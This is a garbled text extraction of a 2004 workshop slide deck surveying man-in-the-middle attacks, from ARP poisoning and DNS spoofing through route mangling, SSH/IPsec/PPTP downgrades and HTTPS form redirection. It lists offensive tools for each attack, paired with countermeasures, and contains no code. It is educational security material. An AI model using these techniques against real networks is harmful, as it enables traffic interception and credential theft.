A current analysis of man in the middle (mitm) attacks

8/10/2019 A current analysis of man in the middle (mitm) attacks

1/62

IIT Kanpur Hackers Workshop 2004 23, 24 Feb 2004 1

A current analysis ofman in the middle (mitm)

attacksSachin Deodhar


2/62


The scenario

Server

Client

Attacker


3/62


MITM attack scenarios TOCDifferent attacks in different scenarios:

LOCAL AREA NETWORK:- ARP poisoning - DNS spoofing - STP mangling - Port stealing

FROM LOCAL TO REMOTE (through a gateway):- ARP poisoning - DNS spoofing - DHCP spoofing- ICMP redirection - IRDP spoofing - route mangling

REMOTE:

- DNS poisoning - traffic tunneling - route mangling
http://c/Documents%20and%20Settings/Administrator/Desktop/Man%20in%20the%20middle%20attacks%20-%20blackhat.ppthttp://c/Documents%20and%20Settings/Administrator/Desktop/Man%20in%20the%20middle%20attacks%20-%20blackhat.ppt


4/62


MITM attack techniques

The local scenario


5/62


6/62


The scenario

Server

Client Attacker

Gratuitous ARP (forged)



7/62


Local attacks (1) ARP poisoning - Tools

ettercap (http://ettercap.sf.net )PoisoningSniffingHijacking

FilteringSSH v.1 sniffing (transparent attack)

dsniff (http://www.monkey.org/~dugsong/dsniff )

PoisoningSniffingSSH v.1 sniffing (proxy attack)
http://ettercap.sf.net/http://www.monkey.org/~dugsong/dsniffhttp://www.monkey.org/~dugsong/dsniffhttp://ettercap.sf.net/


8/62

IIT Kanpur Hackers Workshop 2004

23, 24 Feb 2004 8

Local attacks (1) ARP poisoning - countermeasures

YES - passive monitoring (arpwatch)YES - active monitoring (ettercap)YES - IDS (detect but not avoid)

YES - Static ARP entries (avoid it)YES - Secure-ARP (public key authentication)


9/62


23, 24 Feb 2004 9

Local attacks (2)DNS spoofing

HOST DNSserverX.localdomain.in

10.1.1.50

MITM

10.1.1.1

If the attacker is able to sniff the ID of the DNS request,he/she can reply before the real DNS server


10/62


23, 24 Feb 2004 10

Local attacks (2)DNS spoofing - tools

ettercap (http://ettercap.sf.net )Phantom plugin

dsniff (http://www.monkey.org/~dugsong/dsniff )Dnsspoof

zodiac (http://www.packetfactory.com/Projects/zodiac )
http://ettercap.sf.net/http://www.monkey.org/~dugsong/dsniffhttp://www.packetfactory.com/Projects/zodiachttp://www.packetfactory.com/Projects/zodiachttp://www.monkey.org/~dugsong/dsniffhttp://ettercap.sf.net/


11/62


23, 24 Feb 2004 11

Local attacks (2)DNS spoofing - countermeasures

YES - detect multiple replies (IDS)

YES - use lmhost or host file for staticresolution of critical hosts

YES - DNSSEC


12/62


23, 24 Feb 2004 12

Local attacks (3)STP mangling

It is not a real MITM attack since theattacker is able to receive onlyunmanaged traffic

The attacker can forge BPDU with highpriority pretending to be the new root ofthe spanning tree


13/62


23, 24 Feb 2004 13

Local attacks (3)STP mangling - tools

Ettercap (http://ettercap.sf.net )With the Lamia plugin
http://ettercap.sf.net/http://ettercap.sf.net/


14/62


23, 24 Feb 2004 14

Local attacks (3)STP mangling - countermeasures

YES - Disable STP on VLAN without loops

YES - Root Guard, BPDU Guard.


15/62


23, 24 Feb 2004 15

Local attacks (4)Port stealing

Attacker floods the switch with forged gratuitous ARP packets with thesource MAC address being that of the target host and the destination MACaddress being that of the attacker.Since the destination MAC address of each flooding packet is the attackersMAC address, the switch will not forward these packets to other ports,meaning they will not be seen by other hosts on the network

A race condition: because the target host will send packets too. The switchwill see packets with the same source MAC address on two different portsand will constantly change the binding of the MAC address to the port.Remember that the switch binds a MAC address to a single port. If theattacker is fast enough, packets intended for the target host will be sent tothe attackers switch port and not the target host. When a packet arrives, the attacker performs an ARP request asking for the

target hosts IP address. Next, the attacker stops the flooding and waits forthe ARP reply. When the attacker receives the reply, it means that thetarget hosts switch port has been restored to its original binding. The attacker now sniffs the packet and forwards it to the target host andrestarts the attack ad naseum


16/62


23, 24 Feb 2004 16

Local attacks (5)Port stealing how to

1 2 3

A Attacker B

Layer 2 switch



17/62


23, 24 Feb 2004 17

Local attacks (4)Port stealing - tools

ettercap (http://ettercap.sf.net )With the Confusion plugin
http://ettercap.sf.net/http://ettercap.sf.net/


18/62


23, 24 Feb 2004 18

Local Attacks (4)Port stealing - countermeasures

YES - port security on the switch


19/62


23, 24 Feb 2004 19

Attack techniques

From local to remote


20/62


23, 24 Feb 2004 20

Local to remote attacks (1)DHCP spoofing

The DHCP requests are made in broadcastmode.

If the attacker replies before the real DHCPserver it can manipulate:

IP address of the victimGW address assigned to the victimDNS address


21/62


23, 24 Feb 2004 21

Local to remote attacks (1)DHCP spoofing - countermeasures

YES - detection of multiple DHCP replies


22/62


23/62


23, 24 Feb 2004 23

Local to remote attacks (2)ICMP redirect - tools

IRPAS icmp_redirect (Phenoelit)(http://www.phenoelit.de/irpas/ )

icmp_redir (Yuri Volobuev)
http://www.phenoelit.de/irpas/http://www.phenoelit.de/irpas/


24/62


23, 24 Feb 2004 24

Local to remote attacks (2)ICMP redirect - countermeasures

YES - Disable the ICMP REDIRECT

NO - Linux has the secure redirect options butit seems to be ineffective against this attack


25/62


23, 24 Feb 2004 25

Local to remote attacks (3)IRDP spoofing

The attacker can forge some advertisementpacket pretending to be the router for the LAN.He/she can set the preference level and thelifetime at high values to be sure the hosts willchoose it as the preferred router.

The attack can be improved by sending somespoofed ICMP Host Unreachable pretending tobe the real router


26/62


23, 24 Feb 2004 26

Local to remote attacks (3)IRDP spoofing - tools

IRPAS by Phenoelit(http://www.phenoelit.de/irpas/ )
http://www.phenoelit.de/irpas/http://www.phenoelit.de/irpas/


27/62


23, 24 Feb 2004 27

Local to remote attacks (3)IRDP spoofing - countermeasures

YES - Disable IRDP on hosts if theoperating system permit it.


28/62


23, 24 Feb 2004 28

Local to remote attacks (4)ROUTE mangling

The attacker can forge packets for the gateway (GW)pretending to be a router with a good metric for aspecified host on the internet

INTERNET GW AT

H


29/62


23, 24 Feb 2004 29

Local to remote attacks (4)ROUTE mangling

Now the problem for the attacker is to send packets tothe real destination. He/she cannot send it through GWsince it is convinced that the best route is AT.

INTERNET GW AT

H

D

AT2Tunnel


30/62


23, 24 Feb 2004 30

Local to remote attacks (4)ROUTE mangling - tools

IRPAS (Phenoelit)(http://www.phenoelit.de/irpas/ )

Nemesis(http://www.packetfactory.net/Projects/nemesis/ )
http://www.phenoelit.de/irpas/http://www.packetfactory.net/Projects/nemesis/http://www.packetfactory.net/Projects/nemesis/http://www.phenoelit.de/irpas/


31/62


Local to remote attacks (4)ROUTE mangling - countermeasures

YES - Disable dynamic routing protocols inthis type of scenario

YES - Enable ACLs to block unexpectedupdate

YES - Enable authentication on theprotocols that support authentication


32/62


Attacks techniques

Remote scenarios


33/62


Remote attacks (1)DNS poisoning

Type 1 attackThe attacker sends a request to the victim DNSasking for one host

The attacker spoofs the reply which is expected tocome from the real DNS

The spoofed reply must contain the correct ID (bruteforce or semi-blind guessing)


34/62


Remote attacks (1)DNS poisoning

Type 2 attackThe attacker can send a dynamic update tothe victim DNS

If the DNS processes it, it is even worstbecause it will be authoritative for those

entries


35/62


Remote attacks (1)DNS poisoning - tools

ADMIdPack

Zodiac(http://www.packetfactory.com/Projects/zodiac )
http://www.packetfactory.com/Projects/zodiachttp://www.packetfactory.com/Projects/zodiac


36/62


Remote attacks (1)DNS poisoning - countermeasures

YES - Use DNS with random transactionID (Bind v9)

YES - DNSSec (Bind v9) allows the digitalsignature of the replies.

NO - restrict the dynamic update to arange of IPs (they can be spoofed)


37/62


Remote attacks (2)Traffic tunneling

Router 1

Gateway

INTERNET

Server

Client

Fake host

Attacker

Tunnel GRE


38/62


Remote attacks (2)Traffic tunneling - tools

ettercap (http://ettercap.sf.net )Zaratan plugin

tunnelX (http://www.phrack.com )
http://ettercap.sf.net/http://www.phrack.com/http://www.phrack.com/http://ettercap.sf.net/


39/62


Remote attacks (2)Traffic tunneling - countermeasure

YES - Strong passwords and community onrouters


40/62


Remote attacks (3)ROUTE mangling revisited

The attacker aims to hijack the traffic betweenthe two victims A and B

The attack will collect sensitive informationthrough:

Tracerouteport scanningprotoscanning

Quite impossible against link state protocols


41/62



Scenario 1 a(IGRP inside the AS)

A B

The attacker pretends to be the GW

R1

R2


42/62



Scenario 1 b(IGRP inside the AS)

A BR1

R2

R3


43/62



Scenario 2 a(the traffic does not pass thru the AS)

AS 1 AS 2

BG 1 BG 2

BG 3

AS 3

BGP

RIP


44/62


Remote attacks (3)ROUTE mangling revisited - tools

IRPAS di Phenoelit(http://www.phenoelit.de/irpas/ )

Nemesis(http://www.packetfactory.net/Projects/nemesis/ )
http://www.phenoelit.de/irpas/http://www.packetfactory.net/Projects/nemesis/http://www.packetfactory.net/Projects/nemesis/http://www.phenoelit.de/irpas/


45/62


Remote attacks (3)ROUTE mangling revisited -

countermeasure

YES - Use routing protocol authentication


46/62


ConclusionsThe security of a connection relies on:

Proper configuration of the client (avoiding ICMP Redirect, ARP Poisoning etc.)the other endpoint infrastructure (e.g.. DNS dynamicupdate),

the strength of a third party appliances on which we donthave access (e.g.. Tunneling and Route Mangling).

The best way to ensure secure communication is the correctand conscious use of cryptographic systems

both client and server sideat the network layer (i.e.. IPSec)at transport layer (i.e.. SSLv3)at application layer (i.e.. PGP).


47/62


Once in the middle

Injection attacks

Key Manipulation attacks

Downgrade attacks

Filtering attacks


48/62


Injection attacks

Add packets to an already established connection (onlypossible in full-duplex mitm)

The attacker can modify the sequence numbers and

keep the connection synchronized while injectingpackets.

If the mitm attack is a proxy attack it is even easier toinject (there are two distinct connections)


49/62


Injection attack examplesCommand injection

Useful in scenarios where a one timeauthentication is used (e.g. RSA token).In such scenarios sniffing the password isuseless, but hijacking an already authenticatedsession is critical

Injection of commands to the server

Emulation of fake replies to the client


50/62


Key Manipulation in the case ofpopular VPN/crypto systems

SSH v1

IPSEC

HTTPS


51/62


Key Manipulation attackexample

SSH v1Modification of the public key exchanged byserver and client.

Server Client

MITM

start

KEY(rsa) KEY(rsa)

Ekey[S-Key]Ekey[S-Key]S-KEY S-KEY S-KEY

MEskey (M)

D(E(M))

D(E(M))

K i l ti tt k


52/62


Key manipulation attackexample

IPSEC If two or more clients share the same secret, eachof them can impersonate the server with anotherclient.

Client mitm Server

Diffie-Hellmanexchange 1

Authenticated bypre-shared secret

Diffie-Hellmanexchange 2

Authenticated bypre-shared secret

De-CryptPacket

Re-CryptPacket

K i l ti tt k


53/62


Key manipulation attackexample

HTTPS We can create a fake certificate (eg:issued by Ver ySign) relying on

browser misconfiguration or userdumbness.

Client MiM ServerFake cert.

RealConnectionto the server


54/62


Filtering attacks

The attacker can modify the payload of thepackets by recalculating the checksum

He/she can create filters on the fly

The length of the payload can also be changed

but only in full-duplex (in this case the seq has tobe adjusted)


55/62


Filtering attacks exampleCode Filtering / Injection

Insertion of malicious code into web pagesor mail (javascript, trojans, virus, etc)

Modification on the fly of binary files duringthe download phase (virus, backdoor, etc)


56/62


Filtering attacks exampleHTTPS redirection

Lets see an example

Http main page withhttps login form

Change form destinationto http://attacker

Http post(login\password)

Auto-submitting hiddenform with rightauthentication data

Real https authentication post

Authenticated connection

Client ServerMiM

loginpassword

D d tt k f t i l


57/62


Downgrade attacks for typicalVPN/crypto systems

SSH v2

IPSEC

PPTP

d k l


58/62


Downgrade attack examplesSSH v2 v1

Parameters exchanged by server and client can besubstituted in the beginning of a connection.(algorithms to be used later)

The attacker can force the client to initialize a SSH1connection instead of SSH2.

The server replies in this way:SSH-1.99 -- the server supports ssh1 and ssh2SSH-1.51 -- the server supports ONLY ssh1

The attacker makes a filter to replace 1.99 with 1.51

Possibility to circumvent known_hosts

d k l


59/62


Downgrade attack examplesIPSEC Failure

Block the key material exchanged on theport 500 UDP

End points think that the other cannot startan IPSEC connection

If the client is configured in rollback mode,there is a good chance that the user will notnotice that the connection is in clear text

D d k l


60/62


Downgrade attack examplesPPTP attack (1)

During negotiation phaseForce PAP authentication (almost fails)Force MS-CHAPv1 from MS-CHAPv2 (easier to crack)Force no encryption

Force re-negotiation (clear text terminate-ack)Retrieve passwords from existing tunnelsPerform previous attacks

Force password change to obtain password hashesHashes can be used directly by a modified SMB or PPTPclientMS-CHAPv2 hashes are not useful (you can force v1)

D d k l


62/62

IIT K H k W k h 2004

Downgrade attack examplesL2TP rollback

L2TP can use IPSec ESP as transport layer (strongerthan PPTP)

By default L2TP is tried before PPTP

Blocking ISAKMP packets results in an IPSec failure

Client starts a request for a PPTP tunnel (rollback)

Now you can perform PPTP previous attacks